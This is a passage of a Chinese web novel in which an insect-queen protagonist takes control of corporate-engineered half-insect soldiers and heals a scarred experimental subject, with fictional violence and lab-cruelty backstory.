见利诺露出疑惑，艾默里干咳一声，解释：“小孩不能太娇纵，要是吃习惯了，以后合成食物不吃就麻烦了。” 颇有道理，利诺没善良到质疑人家家长的育儿观念。 但扶林则冷笑了声，娇纵？什么娇纵？他怎么从来没有听说过这个词语？ 从八岁起，他的生活费就不用艾默里负责了！甚至他还会给艾默里交住宿费！ 要不是他还小，打不过艾默里，恐怕此时早就和亲哥撕破脸面，直接打起来了。 受气的但扶林只得坐下，把那极少的食物一点一点吃下去，再怎么着，这也是利诺哥哥给的！他一口都不会浪费！ 吃完，但扶林想起利诺对垃圾城的兴趣，不客气地喊了声艾默里：“一会儿你带利诺哥哥去红灯区玩。” 艾默里嗯了声，拿出绷带往手臂上缠，他的手臂上有一道血肉翻滚的伤口，应该是在第一时间就做了紧急处理，没有接着流血，卷起来的肉泛出无血的白色，分外狰狞。 但扶林和艾默里习惯了这种情况，谁也不惊讶，艾默里处理伤口，但扶林扫了眼就挨着利诺继续说话。 “等等！”利诺出声制止了艾默里的行为，“你这样处理伤口不行。” “不用管他，利诺哥哥，艾默里的恢复能力很强，过上一天就能复原的。”但扶林还在为饭的事情生气，而且艾默里是地下格斗的常驻选手，受伤是家常便饭。 利诺走到艾默里的面前：“恢复力强不是让你这么瞎折腾身体的。” 艾默里不愧是有虫族基因，他和纯正的虫族一样，都不把自己的命当命。 第50章 利诺观察了会儿这处伤口的状态，习惯性就往脖子上挂的空间钮摸去。 空间钮因为紧贴皮肤，染上了他的体温，质地特殊。 利诺想起来他的空间钮不能使用，里面的治愈剂拿不出来。 退而求其次，利诺问：“家里有药和透气的纱布吗？” “……好像有吧，我去找找。”但扶林噔噔噔跑到其他的房间，翻东西的声音哗啦呼啦。 艾默里在利诺站在他面前时就稍显局促地要站起来，被利诺按了下去。 利诺斜了艾默里一眼：“乖乖坐着，伤口这么深还不当回事，是想截肢吗？” 截肢对虫族不算大事，毕竟强悍虫族自己就能长出来，其他虫族也可以依靠先进的医疗手段治疗。 但在这个地球，以利诺知道的，就是截肢然后进行机械改造，换上义肢。 “我……不需要，缠上就能好。”艾默里生疏解释，他此前从未接收到任何人的关心。 利诺眸子锐利，食指点在艾默里的另外一只经过改造的机械手臂上：“那这个是怎么来的？” 艾默里下意识地收回改造的手臂，眼睛躲闪，不肯回答。 “找到了！”但扶林跑过来，拿出一包未拆封的医用纱布和一瓶药粉。 艾默里拿起药瓶就要往伤口上撒，再次被利诺制止。 利诺毫不费力地从艾默里的手里拽出药瓶，看了眼生产时期，眉毛抬高：“过期两年了。” 但扶林摸摸鼻子：“应该是买回来就没用吧？”他依稀记得那是他捡垃圾的时候找回来的，当做收藏品保存起来。 “没有别的药了吗？”利诺放下药瓶。 但扶林摇头：“只有这一瓶。” 利诺叹息，这是两只生活怎样艰难的半虫啊！ 小虫母升起恻隐之心，他们有虫族的基因，那就有一半算是他的子嗣。 利诺拿过纱布，好在纱布保持在无菌密封的状态，他将其拆开，让艾默里把手伸出来。 他有意和这两兄弟拉近关系，以便日后将这两虫带回去。虫族目前数量不多，能多上一只是一只。 利诺暗搓搓想着拐虫大法，艾默里愣愣盯着利诺的脸颊，随即迅速转移视线，将受伤的手臂抬起来。 透气的纱布则被利诺细致地缠绕住伤口，利诺边缠边道：“我同伴身上应该有治疗的药剂，再坚持坚持，等明天就可以有药剂了。” 小虫母在给艾默里包扎伤口的时候，露出白皙脆弱的半截脖颈，带有攻击性的艳丽长相因为这份温柔而覆上一层朦胧的光晕。 艾默里和但扶林几乎要沉迷在利诺带给他们的感受中，本如一潭死水的情感在利诺出现后就依然变成激烈沸腾的风暴。 他们很喜欢这位神秘的小少爷，只要见到利诺，一眼望到边的阴霾日子似乎都充满了灿烂的暖光。 艾默里没有休息一会儿就站起来，对利诺道：“我带你去红灯区。” 红灯区不止白日里那些勾引利诺的男女，也有很多娱乐设施，是底层人民释放压力的狂欢场所。 艾默里计算了下他的存款，除去给利诺买纯天然食物花费的巨款，剩下的估计堪堪够利诺这位小少爷在红灯区玩上一晚。 还是要赚钱，艾默里拉了拉有些紧绷的领口，无数道疤痕层叠交错，歪扭如同丑陋的蜈蚣。 利诺装作不在意地看了眼那伤口的模样，善解人意道：“你受伤了，不方便出去。” 他打了个哈欠：“而且我困了，想早点睡。” 躺在但扶林铺好的床上，利诺闭上眼，在临睡前，他特地看了眼意识海中希尔维乌斯的光点，很好，光点一直在靠近，离他不算远了。 “哥，我们能留下他吗？”门外，但扶林低声问艾默里，因为年幼而稍显稚嫩的眼睛闪着不符合他年龄的贪婪和占有欲。 艾默里摇头：“他说他的同伴明天会到。” 小孩的声音带着天真残忍的恶意：“那把小少爷的同伴杀了。” 杀人对他们来说是家常便饭，早在当初逃出实验室时，他们杀的人就数不清了。 这些年不是没有实验室相关的人员追过来，但都被艾默里和但扶林毁尸灭迹。 艾默里又摇头：“他的家庭不简单，总会找过来的。但扶林，我们留不住他。” “可是我很喜欢他，哥，难道你不喜欢吗？” 艾默里：“喜欢。” 但扶林比起艾默里来，思维更加简单粗暴：“那就像对付那些实验室的人一样，来一队杀一队。” 小孩的眼睛闪着光彩：“这样利诺哥哥会永远和我们在一起。” “我会努力赚钱养利诺哥哥，不让他的生活质量下降；他想做什么，我们都会支持；换个大房子，铺上柔软的毛毯，让利诺哥哥可以光着脚跑来跑去……”但扶林想到哪就说到哪，没有逻辑，但却引起了艾默里的共鸣。 艾默里即将答应弟弟，低下头，第一眼看到的是手臂的纱布。 但扶林耐心等待艾默里的同意，他知道，艾默里一定会答应他。 他们是亲兄弟，就算变成了怪物，也是一对怪物兄弟，他们互相了解彼此的阴暗面。 但扶林能够感觉到，艾默里对利诺的渴望程度不比他对利诺哥哥的渴望程度低。 亲兄弟的喜好总是很相似的。 但扶林刚摆出恶劣的笑，他的耳朵就被艾默里捏住，疼痛拉着他不得不跟随艾默里的脚步往外走。 “该死的，艾默里，你在干什么？”但扶林觉得自己已经长大了，艾默里不能再这么对他了！ 艾默里冷冷道：“教训你。” 但扶林气个半死：“难道你不想把利诺哥哥留在我们身边吗？” “想。”艾默里捏着弟弟耳朵的力道没有松，顺势走出门，一字一句解释，“他很好，我们不配。” 但扶林瘪瘪嘴，没有反驳，他哥说的对，怪物怎么能乞求漂亮少爷的垂青？ 艾默里把但扶林结结实实打了一顿，等到利诺睡醒的时候，但扶林顶着两只红彤彤的耳朵，委委屈屈地拉住了他的手。 “你的……耳朵怎么了？”利诺问。 但扶林不止耳朵疼，被衣服遮盖的身体全是不深但足以见血和产生疼痛感的伤口。 这是艾默里打的，不算过分，他们兄弟之间的切磋都是这样，在极端的危险中，不能杀死别人就只能被别人杀死。 艾默里一早出去买了顿纯天然食材做的早饭，是给利诺准备的，他听到利诺的问话，解释：“但扶林自己贪玩跑出去，半夜冷，耳朵被冻坏了。” 男人秉持着大家长的样子，警告但扶林：“以后不许玩这么疯了，都让利诺担心你了。” 但扶林委屈，但总不能说他是因为想关利诺小黑屋而惨遭哥哥教训，梗着脖子，不情不愿地应了声。 意识海内，希尔维乌斯的星点越靠越近，利诺觉得自己有必要和艾默里、但扶林说出部分真相，并正式邀请他们加入虫族。 刚吃下一口地道正宗的小笼包，餐桌三人的表情俱是一变。 常年打格斗、游走在生死边缘的艾默里反应最快，将利诺和但扶林扑倒，趴在地上。 “轰隆——” 本就是危房的建筑因为袭击而倒塌，艾默里的身形够大，把利诺和但扶林严实挡住，在稍显平静后，顶开了废墟。 艾默里见到光线的第一反应，是掏出武器，向四周射击，不断有重物落地的声音。 “利诺哥哥，你先别动。”但扶林小声叮嘱了句利诺，然后在利诺震惊的视线下，从口袋里拿出武器，轻巧跳跃上废墟顶层。 “实验体4960和实验体4961，限你们在一分钟投降，否则诺亚之舟科技集团会不惜一切代价执行销毁实验体的命令。”这声音夹杂浓重的电流音，需要思考几秒才可以听懂其中的内容。 利诺动动鼻子，是很浓郁的虫族味道，不止艾默里和但扶林，还有不亚于百名拥有虫族基因、同样没有觉醒意识海的半人半虫。 在得知有更多的半虫族后，利诺不准备听话躺在废墟形成的稳定空间内。 他悄咪咪探出一颗脑袋，蓬松的白粉毛在污秽脏乱的垃圾城内分外显眼，一双银灰色的圆瞳充斥兴奋。 艾默里和但扶林站在废墟上与一队穿着作战制服、从头到尾包裹严实的军队对峙，制服上有一个简笔画的小舟标识。 这不是最重要的，最重要的是利诺发觉到其中有虫族基因的人有半数以上。 半虫士兵和其他士兵虽然是一个小队，但彼此之间氛围割裂，更像是两队。 利诺看到的不是敌人和危险，而是那些可能增加虫群数量的预备虫。 这个什么舟的科技集团真是个大好人啊！ 利诺正发愁占据了整整四个星系的虫族因为数量少而不能将每个星球都开发，而且随着黑雾的驱散，虫族的版图只会越来越大。 用虫树树枝繁育子嗣的方法不能持久，而这种被改造过、注视进虫族基因的半虫如果可以加入虫族，毫无疑问会是一大助力。 当然，利诺不能高兴得太早，他首先需要确认这些半虫是否会愿意受他的驱使，是否会有虫母至上的理念。 如果半虫更偏向人类，利诺只会将其和伪族一样，当做挖矿的廉价劳动力，而非真正的同族和子嗣。 种族与种族之间，从来都是弱肉强食的丛林法则，他不想法设法强大虫族，黑雾和其他都种族就会将虫族吃干净。 这时，那道电流声再度响起：“杀了实验体4960和4961！” 利诺的精神力也在这一瞬间笼罩整个战场。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 那是一种很柔和很温暖的感觉，所有经过基因改造的半虫士兵都不由地停顿住，呆愣在原地。 他们的身体被柔和的精神力包裹，暖洋洋的，仿佛回到了胚胎时期，那时他们处在人造子宫的模拟羊水中。 不，这种感觉远比那时候还要安心，还要温暖。 是妈妈，是妈妈来找他们了。 半虫士兵的脑海里反反复复，闪现的就是这句话。 他们是被制造出来的怪物和武器，但感知到这股还不顺利的时候，他们却意识到，是他们的妈妈，是他们的母亲。 面罩下，半虫士兵的眼神恍惚，委屈、难过、欣喜、幸福等等这类陌生的情绪从没有感情的虫躯上升。 这时，利诺确认了所有的半虫存在，磅礴的精神力化成半虫与虫母链接的桥梁。 即使还没有激发出应有的意识海，半虫也听到了一道轻灵悦耳的嗓音：“能听到吗？” 听到了听到了听到了……是妈妈妈妈妈妈妈妈……妈妈好妈妈好妈妈好妈妈好…… 利诺差点脱口而出“孩子们”，他觉得太肉麻了，所幸及时阻止，没有说出这种能让他的脚趾抠出三座魔仙城堡的称呼。 有虫母的精神力进行覆盖和链接，这些半虫封闭的意识海似乎有隐隐的松动，利诺的意识海内似乎出现了一些暗淡的星点，也收到了这些半虫激昂的情绪反馈。 很好，利诺露出一个狡黠的笑容，看来虫族的基因足够霸道，无论是这些士兵体内属于虫族的基因是多是少，都起到了绝对的主导。 他们在本质上，要更偏向虫族。 这些半虫士兵，他利诺就收了，感谢来自诺亚之舟科技集团的慷慨投喂！ 同样被精神力覆盖的艾默里和但扶林呆傻地扭头看向不远处露出的白粉脑袋，一缕呆毛正随风飘荡，可爱死了。 这时白粉色呆毛的主人似有所感，扭过头回望，一双明显非人的银灰色竖瞳愉悦弯起。 利诺做出口型：乖一点哦！ 不知不觉，与利诺相处时间最长、早就和利诺的精神力接触过的艾默里和但扶林两兄弟的眼睛也变成了与利诺一致的竖瞳。 但扶林比他哥哥接受事实的反应更快，他高兴道：“小少爷和我们是一类的！” “不是小少爷。”艾默里纠正但扶林的称呼，“是……妈妈。” “妈妈。”但扶林喃喃。 “喂，你在搞什么鬼？”普通士兵注意到异常的半虫士兵，又是嫌弃又是厌恶，堪堪拿武器的把柄怼了怼他。 在普通士兵看来，这些虽说是一起执行任务的同事，但准确来说，这些只是给制造出来的怪物武器，无条件听从人类的命令，是比他们低等的、没有人权的怪物。 不止这一个普通士兵，但凡与半虫士兵挨着的普通士兵都发现了这些怪物的不对劲。 “主管，他们不对劲。”作战服上多了一叶小舟标识的士兵调整面罩的对话器。 意外发生得太突然，他不得不同时顾及出逃的两个实验体和表现奇怪的半虫士兵，并和麦对面的公司主管汇报情况。 士兵道：“与我们一起执行销毁出逃实验体计划的阿瑞斯Ⅱ号改造武器集体出现异样，在原地停滞，无视一级权限的命令。” 主管嗓子仿佛受过受伤、夹杂浓重电流的声音响起：“动用三级最高权限，命令阿瑞斯Ⅱ号成品不惜一切代价，销毁出逃实验体。” 比起普通士兵，半虫士兵的脖子上多了一个金属项圈，随着主管的命令下发，项圈亮起权限动用成功的绿灯。 然而这是无效的，利诺只感觉到一点点的抗力，不是这些半虫士兵带来的，而是某种要催动这些半虫的力量。 按理说，半虫士兵会按照权限的等级来执行命令，从一级到三级，三级权限是最高的，一旦下令，半虫会不惜一切代价来执行，直到成功。 那根套在脖子上的项圈就是主导他们行动的器具，就像是拴狗的链条，里面植入了最简单的命令，如不能够伤害人类、必须以人类安全为前提等。 如果利诺没有出现，这根链条确实有用，毕竟项圈是针对这些从实验室诞生的生物武器而研发的，从基因里就被植入了相关的程序。 但是利诺出现了，只需要他的一个念头，这些都会作废。 将虫族基因植入胚胎时的科研团队只知道虫族的强大，不知道他们基因深处对虫母的绝对服从。 项圈只是让半虫听话的工具，可虫母却是他们的生命和灵魂，是爱与信仰，是高于本身的存在。 利诺自然意识到了项圈对半虫士兵的束缚，虫母的精神力微微波动，他对半虫的第一个命令就此下达。 【摘掉项圈，从此以后你们只是我虫族的一员。】如水的呢喃在半虫士兵的耳边闪现。 半虫将手放在项圈上，亮着绿灯的金属项圈顿时发出坏掉的电流声，灯光由绿变红。 几乎是一瞬间，这些用铬制成的项圈在半虫的捏握下迅速变形扭曲，直至完全报废，变成垃圾被半虫士兵丢在了地上。 “主、主管，这些怪物……不，是阿瑞斯Ⅱ号产品失控了！”士兵哆哆嗦嗦汇报，脚步往后退。 他见过这些怪物在实验室的景象，完全超出人类可以想象的强悍怪物仅用一双手就可以轻松撕碎诺亚之舟最新制造出来的机甲。 他也见过怪物刚完成命令时还没有收回的眼神，嗜血凶残，让他的血都凉了一半、骨头都在恐惧颤抖！ 要不是那脖子上的项圈，恐怕怪物接下来撕碎的就是他！ 但现在，号称可以完全控制这些人造士兵的项圈被人造士兵轻松撕扯掉，要知道这些项圈的材质都是目前已知最硬的金属制造的。 普通士兵不住往离半虫士兵相反的方向撤退，面盔下的脸色白得吓人，冷汗唰唰直流。 不用士兵汇报，负责这项任务的主管也都看清楚了，不敢置信地低吼：“怎么可能？怎么可能？那些项圈里有自毁装置！” 诺亚之舟科技集团自然有考虑到制造出来的生物武器失控的可能，因此控制他们的项圈内藏着一个微型炸弹，足以将失控半虫的脑袋炸掉。 利用精神力破坏掉项圈内炸弹装置的利诺擦了把不存在的辛苦汗水，深藏功与名。 半虫缄默无声，在把代表束缚的项圈扯掉后，将武器口对准了身边的普通士兵。 “疯了！疯了！这些怪物疯了！”士兵们看不起被制造出来的怪物，但是又恐惧怪物，就算心智再怎么强大，终究是怕死的。 来执行任务的士兵内多半有虫族基因，在虫母的命令下，轻松将其控制。 科技集团的士兵来的时候坐的是运载飞机，现在仅有一艘飞机悬浮在上空，里面是负责这次行动的主管，其余的飞机只会在任务结束后再来接送。 主管恶狠狠瞪了眼不知什么原因突然反水的半虫，无比庆幸他一直不信任原则上并非真正人类的成熟试验品，所以留在飞机上的并没有半虫士兵。 “先撤退！”再怎么不甘，主管也意识到这次的任务彻底失败了。 不过任务失败的原因在阿瑞斯Ⅱ号士兵的异常上，主管这次不会受太重的惩罚，这估计是无数坏消息中唯一的好消息。 飞机调转方向，即将离去，利诺的眸光微闪，对同样身处高空的希尔维乌斯：【不要让这架飞机离开。】 【遵命，冕下！】希尔维乌斯及时赶到，为了能够尽快赶到小蝴蝶身边保护他，他化作了完全体的虫型。 巨大的骷翼蛾在高空高速飞行，张开的宽阔翅膀是地狱中最恐怖的骷髅头。 “主管，有只鸟……不，不是鸟，是……飞蛾？正朝着我们这里飞。”驾驶员困惑地说。 “管他飞蛾不飞蛾，找死就撞上去！”主管不耐道，而且区区的小虫子，这种事还要和他这个主管说，真是没用！ 驾驶员结结巴巴：“可是主管，还是撞上去，貌似是我们会被撞飞！” “哪有那么大的虫子？”主管更加不耐，“你是不是吓傻了，再说了几千米的高空怎么会有虫子？” 朝总裁汇报任务失败原因的主管抬头，透过玻璃，看到了一双狰狞的虫族复眼。 这是虫？不，这分明是怪物！ 飞蛾的虫肢坚硬锐利，停在飞机上，刺入外壳，畸形的尾钩帅出，发动机全部报废，飞机彻底失去飞行的能力。 主管坐飞机来回执行任务不下百次，从来没见过这种庞大的怪物：“攻击它，都攻击它！” 慌了神的士兵拿出武器，对准机舱内的虫肢射击，然而子弹打在上面，仿若豆腐击打硬石，连擦伤都未曾留下。 飞蛾的复眼查看机舱内的情况，爪子随遇摇了摇，确认里面的人全都昏迷后，才放心捏着飞机往利诺的方向飞。 在即将靠近地面的时候，希尔维乌斯将飞机甩在一边，虫躯拟态成完美英俊的雄性，把刚从废墟被爬出来的利诺紧紧抱住。 “冕下，我来晚了，您有没有受伤？有没有被欺负？刚才的飞行物是来找您麻烦的吗？是哪些低贱的东西敢冒犯您！您放心，我会将他们全都碾碎！” 希尔维乌斯说话很少，但因为异动和醒来时却发现他不在利诺身边的惊慌，搂着利诺不断问询，此时显得比伊戈提安的话还要多。 利诺整个脸埋在希尔维乌斯的胸肌内，被迫来了个洗面奶的洗礼，他的手在半空中无力挣扎。 第52章 希尔维乌斯的胸肌也很大，或者说，虫族除了他这只虫母，没有身材不好的，个个高大挺拔、肩宽腰窄，肌肉线条流畅。 放在平时，利诺会把雄虫的肌肉当成磨牙棒，放在嘴里磨他的小钝牙，企图变成和其他虫族一样的尖牙。 不过现在不是时候，现场不是只有他和希尔维乌斯，还有很多的半虫在注视他。 利诺是有点身为虫母的包袱在身上的！ “希尔维乌斯……”利诺的声音闷闷的，“快松开……喘不过气了……” 高等虫族这才发觉自己抱得太紧，连忙松开，小虫母满脸通红，银灰色的竖瞳雾蒙蒙一片，以希尔维乌斯的胸膛为支撑，晕乎：“希尔维乌斯你的胸肌太硬了！” 看似埋怨，但听在这些虫子的耳中，更像是软软的撒娇。 好……好可爱！ “咕噜！”希尔维乌斯的喉咙发出虫族愉悦的声音。 而这种声音仿佛会传染，在不远处的半虫包括艾默里兄弟俩，都能够看清楚小虫母晕红撒娇的模样。 “咕噜！” 他们的虫族基因在虫母来临后就前所未有的活跃，各种偏向于虫族的非人反应也从基因的深处迸发。 喉结滚动，咕噜咕噜的声音此起彼伏。 利诺晃了晃脑袋，意识到现在是什么情景时，急急将希尔维乌斯推开，尽力维持属于虫族虫母冕下的脸面，轻咳几声，对半虫们问好：“你们好，虽然是初次见面，想必你们已经意识到了我的身份。” 有只半虫低低喊了声：“是妈妈！” 利诺的表情有少许的僵硬，尴尬地挠挠耳朵：“那个，其实不用喊这么直白……” 希尔维乌斯锐利冰冷的眼神掠过这些半虫：“我们喊妈妈冕下。” 作为虫族，希尔维乌斯有隐隐的感觉，这些士兵有一半是同族的可能，也意识到利诺想要做什么。 不管利诺想要做什么，所有的虫族只会无条件跟随，一点质疑和反对都不会有。 利诺顺着希尔维乌斯的话又点点头，不再客套：“虫族是一个强大的、团结的种族，而你们身体内有一半属于虫族的基因，所以要不要加入虫族，成为虫族的一员？” 半虫士兵沉默下来，被虫母的精神力催发出来的虫瞳默默凝视被万众瞩目的漂亮青年。 那种想要迫切亲近青年的感觉越来越强烈，艾默里最先出声：“如果加入虫族，是否可以经常见到您？” 希尔维乌斯代利诺回答：“冕下平日有许多事务要忙，但星网的官方账号会经常上传有关冕下的照片。” 他很骄傲地打开腕表，将保存起来的、关于利诺的全部照片作为投影，以让所有的半虫都可以看到。 利诺各个角度的、各种神态的影像和视频倒映在半虫的眼底，虫族的咕噜声更加频繁。 有只半虫痴痴道：“我要加入虫族，前提是，我要冕下的所有照片。” “我也是！” “被当做工具也没关系的，只要可以时时看见冕下，哪怕是照片也可以！” 希尔维乌斯吝啬地关闭腕表，冷漠道：“回到虫族，你们可以去官方账号保存。” 发现自己的下属得意地朝新的下属炫耀自己的照片，利诺有些窘迫，然而随即他就意识到不对劲。 “你的腕表怎么能够使用！”利诺扒拉过希尔维乌斯的腕表，又朝他露出自己的腕表和脖子上挂着的空间钮。 希尔维乌斯眯眼打量，最后将带着小虫母体温的空间钮握在手中摩挲。 “我的是坏了吗？那空间钮内的大斧头还能拿出来吗？”希尔维乌斯的表情太深沉，利诺不免紧张起来，那是院长送给他是最后一份礼物！ 然而希尔维乌斯又摩挲片刻空间钮，在那点体温渐渐消失后，才慢吞吞地从军服的口袋里拿出来两枚小颗的高浓缩能源石：“没有大碍，也许是红雾的原因，冕下的腕表和空间钮和我的一样能量耗尽了。” 将内里黯淡的能源石替换，利诺的腕表顺利开启去。 握住空间钮，一个小瓶子出现在手中，利诺没有忘记艾默里的伤口，将其递给艾默里：“往伤口上喷一喷，很快就能愈合。” “谢谢……冕下。”艾默里弯腰，小心翼翼地接过来那份治愈喷雾。 但扶林则眨着眼睛，尽量露出天真的神情：“冕下哥哥，我也想加入虫族，我想要您更多的照片！” 利诺摸摸小半虫的脑袋，恶魔低语：“你这个年纪还不能有腕表。” “为什么！”但扶林惊疑，伪装的幼态神情龟裂。 利诺笑着：“因为你还没有十八岁啊！在进入高级军校前，你这种小虫需要先在幼校学习！” 但扶林张了张嘴，没来得及辩解，被艾默里捂住嘴。 艾默里道：“冕下说的很对，但扶林需要上学矫正他的观念。” “虫族虽然崇尚武力，但虫文关怀做的很不错。”利诺安慰但扶林，“等你去了学校，就知道了！” 只想和虫母呆在一块的但扶林绝望：“……” 但也只有但扶林这一只半虫绝望，其他的半虫都是成年形态，他们一想到刚才希尔维乌斯炫耀的小虫母照片，简直迫不及待要追随利诺回到虫族，做的第一件事就是拿那什么腕表去保存虫母冕下的所有照片！ “咳咳……你们这群该死的实验体竟然敢逆反！”希尔维乌斯截下又扔到一边的飞机冒出黑烟，门踹开，集团总管一边咳嗽，一边厌恶地摆弄手中用来操控半虫士兵的面板。 他的喉咙应该是被什么东西硬生生撕扯下来过，确实的部位由金属代替，因此说话时会夹杂电流。 主管还在想着用面板控制这些半虫，奈何那些项圈早被半虫撕扯下来，拜托了科技集团的控制。 利诺勾勾手指，希尔维乌斯就领命，一个闪现，尾钩尖刺对准主管的喉咙：“老实回答冕下的问题。” “什么冕下？”主管在看到这条尾钩时，升起无限的恐惧，“怪物！” 他被两只半虫推拽到利诺的面前，腿被半虫重重一踹，径直跪在了利诺的面前。 破烂的防护服起不了保护作用，地面上的玻璃碎片和金属铁丝刺穿主管的膝盖，他疼得叫出声。 “冕下，诺亚之舟科技集团是如今最大的公司，他们的产品覆盖生活的方方面面，一个人从生到死，都离不开诺亚之舟。”艾默里说道，“据说诺亚之舟的创始人用各种方法延长寿命，已经三百多岁了。” 有只半虫士兵举手：“冕下，我还知道我们最开始被制造出来，就是为了看人体融入从外太空捕捉的异族基因后寿命是否会变长。” “把我送进实验计划的人是我名义上的父亲，他说舒延长寿命的方式还不算完美，但制造出了一批又一批我们这样的生物武器为集团卖命。”另外一只半虫表情漠然地叙说，他在被融入那些虫族基因后，便更偏向虫族，情感约等于无，只有利诺可以勾起他的情绪。 在虫母冕下怜悯同情的目光投来，这只半虫悄悄红了耳朵，他没有说的是，在他刚结束移植手术恢复行动能力时，就将那男人的脖颈扭断了。 艾默里垂眸：“我和但扶林是试验开启的第一批实验体，第一批实验体到我出逃前，只剩下不足十名还活着的实验体……第二批、第三批实验体似乎在那时就被运输进来了。” 在诺亚之舟的实验室内，前几批成功的实验体是最遭罪的，艾默里身上一半的改造义肢就是在实验中不断被切除血肉而无法再生后安装的。 艾默里清晰记得他在冰冷的手术台上全程清醒，为了实验的最大价值化而不能注射任何麻醉剂，活生生感受自己的一半头颅被特制的手术刀切开，器具在脑壳内搅拌…… 那个时候，艾默里很庆幸他已经不是人类，情感匮乏，就连耐痛的能力都强了很多。 而且在和虫族基因融合越深，他的皮肤就越发坚硬，除了完好的那根胳膊可以继续被切割后，其他的部位就连特制的锋利手术刀都无法切除。 之后，他就没有了研究的价值，和但扶林一起像小白鼠般关在实验室的最深处。 艾默里理智冷静地回想过去，仿若上帝视角，只是轻微打颤的身体显得他不如表面那般冷淡。 就算情感匮乏，但被不断切割血肉的身体还是留下了那时候的阴影。 在艾默里重复回忆这些实验中是否还有存在价值的信息，以便告知利诺时，他被拥入了一个温暖的怀抱。 艾默里比他高很多，这种姿势不太舒适，可被娇弱的青年抱住，头靠在青年的怀里，温暖好闻的气味顿时包裹住艾默里，让他无比安心。 “妈妈……”艾默里轻声呢喃，魁梧的身体顺利被利诺的气味和精神力安抚。 与此同时，艾默里听到了类似蛋壳破碎的声音，他拥有了虫族才会有的意识海。 意识海中央那轮弯月散发温和的光，将阴暗的角落照亮，温暖。 从未哭过的艾默里红了眼眶，张开手，将小虫母搂住。 实验室的人造子宫给了他第一次生命，而刚才的蛋壳破壳声以及意识海的开辟则意味着，至高无上却又温柔可爱的虫母冕下给予了他第二次生命。 艾默里张开了一双漆黑的虫翅，象征压抑和恐惧的黑翅划下几缕光彩，小心将利诺包裹其中。 希尔维乌斯先是往前几步，下意识保护利诺，但认出艾默里的种族和这种行为的意义，就停下脚步，耐心等待玄蛾的祝福结束。 玄蛾，黑暗的宠儿，有种与生俱来的奇特能力—夜的祝福，他们会把唯一一次的祝福奉献给他们看中的存在。 虫族两百年没有诞生过这样的种族，此前从未送出过他们的祝福，这是第一次。 第53章 夜蛾的祝福仅此一次，且异常珍贵，可在他们送出去之前，他们也不会知道祝福的内容是什么。 黑如深夜的虫翅足够宽大飘逸，将艾默里和利诺两虫包裹起来，点点星光从翅尾溢散。 反手被高大半虫抱在怀里的利诺似有所感，他半仰头，看到的是艾默里紧闭的双眸，以及在黑暗封闭空间内升起的淡芒。 光芒犹如萤火，即使汇聚起来也没有很亮，漂浮着，没入利诺的额头。 一瞬间，利诺的意识海再次疯涨几倍，中心的虫树算是他孕育子嗣的外置器官，在夜蛾的祝福下也仿佛得到了足够的营养和能量，树干拔高变粗，同时刚冒出芽的新的一批虫蛋长大几分。 然而，这不是真正的祝福，而仅是祝福的催动。 名为艾默里的夜蛾受到很多不可以直视的对待，他无数次被冰冷的手术台禁锢，一块又一块的血肉被挖下来，长回来后又会尽数挖走，直到虫族强悍的愈合能力完全失效。 手术刀夺走了夜蛾的一半身体，甚至脑内的构造都失去了一半，夜蛾全程都保持着清醒的状态。 因此，艾默里的祝福是治愈，他把治愈送给他的冕下，希望他的冕下不会经受和他一样的痛苦。 艾默里的睫毛颤动，从这种祝福的状态中醒过来，眼皮掀开道缝。 轻柔的吻落在了艾默里那颗摘除后没有办法再长出来、因此只得以人造眼球代替的眼睛上。 艾默里恍惚张开了嘴，一根纤细的手指抵在他的最迟嘴巴上。 非虫的半张脸是银色的人造代替品，却在虫母的吻后掉落在地上。 得到祝福的虫母将这份新的能力用在祝福他的夜蛾上，夜蛾bug级的祝福能力造就了利诺bug级的治愈能力。 精神力随着极轻的吻，化作某种宇宙的法则，拨除艾默里身体上的人造物。 经常笼罩在垃圾城上空的灰云罕见地散离，太阳的暖光慷慨地撒在全是垃圾的污浊之地。 夜蛾被挖走的一半血肉因为虫母的吻，而得到了新生。 伤口不在，无论是身体上的，还是心灵上的。 艾默里从此之后，就是一只得到虫母冕下认可的虫，他会被虫群毫无芥蒂地接纳。 “见鬼了……”主管哪里见到过这种景象，从实验室里逃走的初代试验体长出了类似昆虫的翅膀，外表更加非人。 白发粉尾的青年有着超越人类认知的美貌，妖异美丽，用一双非人的银瞳瞥向他。 他不是人！主管逃避地移开视线，又注意到从大飞蛾变成英俊男人的希尔维乌斯，大汗淋漓，这个男人也绝对不是人！ 是怪物？不，准确的来说，他们是天外来客，是外星人，也许和他们提取到的异族基因是同样的种族，那个光是基因模拟就能推算出强大的种族。 结束祝福，得到新能力的利诺心情愉悦，赞扬地拍拍艾默里的手臂，这才将注意力给地上跪得双腿模糊的集团主管。 “诺亚之舟目前有多少半虫士兵？”利诺说完后，意识到主管并不清楚融合的是虫族基因，改口道，“就是融合了外族基因的士兵？” 他纡尊降贵，弯下腰，用那张强烈冲击性的漂亮脸蛋靠近主管。 这张面容实在完美，主管呼吸一瞬，心跳不受控制地狂跳，过快的速度让他感觉到了不适。 希尔维乌斯不动声色地拉回利诺：“冕下，小心被无用的垃圾弄脏。” 主管没有半分猖狂劲儿，即使被希尔维乌斯称为垃圾也不敢反驳。 他被非人的生物吓跑了胆子，主管是替集团干过不少脏活，可是那些都是普通人类，再不济也有一半是他的同族，而不是眼前这两只非人类。 主管越发肯定这两只外族是来找诺亚之舟复仇的，因为他们将他们族群的基因与人类的基因进行了融合，还制造出一批好用的消耗品。 是的，这些半虫就是消耗品，他们连名字都没有，只有一串数字编号，高层对他们的总称是阿瑞斯Ⅱ号产品。 阿瑞斯Ⅰ号是艾默里这些第一批的试验品，如今只剩下这对兄弟，阿瑞斯Ⅱ号目前大量生产和使用，好像阿瑞斯Ⅲ号产品正在研发中，更强更听话的阿瑞斯Ⅲ号产品一旦研发成功，阿瑞斯Ⅱ号产品就会全部进行销毁和回收。 半虫士兵不是人类，不被高层当做人，他们是比高层养的宠物犬还要低级的存在。 主管咽了下口水：“不……知道。制造阿瑞斯Ⅱ号产品的实验室有好几所，我只知道其中一个。” 在青年看似无害的目光下，主管打了个冷颤，连忙找补：“我可以带你们去我知道的实验室地址，我不知道其他实验室在哪，但实验室负责人一定知道！” “乖。”利诺敷衍催促，一丝笑意都没有，“现在就带我们去。” 他感觉到了冒犯。 诺亚之舟集团利用不知从哪里窃取的虫族基因去制造为他们服务的士兵，还把他们当做一个性价比较高的产品。 小虫母怎会保持常态，他只想把这些实验室毁掉，撕碎该死的诺亚之舟科技集团。 冷不丁，利诺又问这个主管：“只有诺亚之舟在改造半虫士兵吗？” 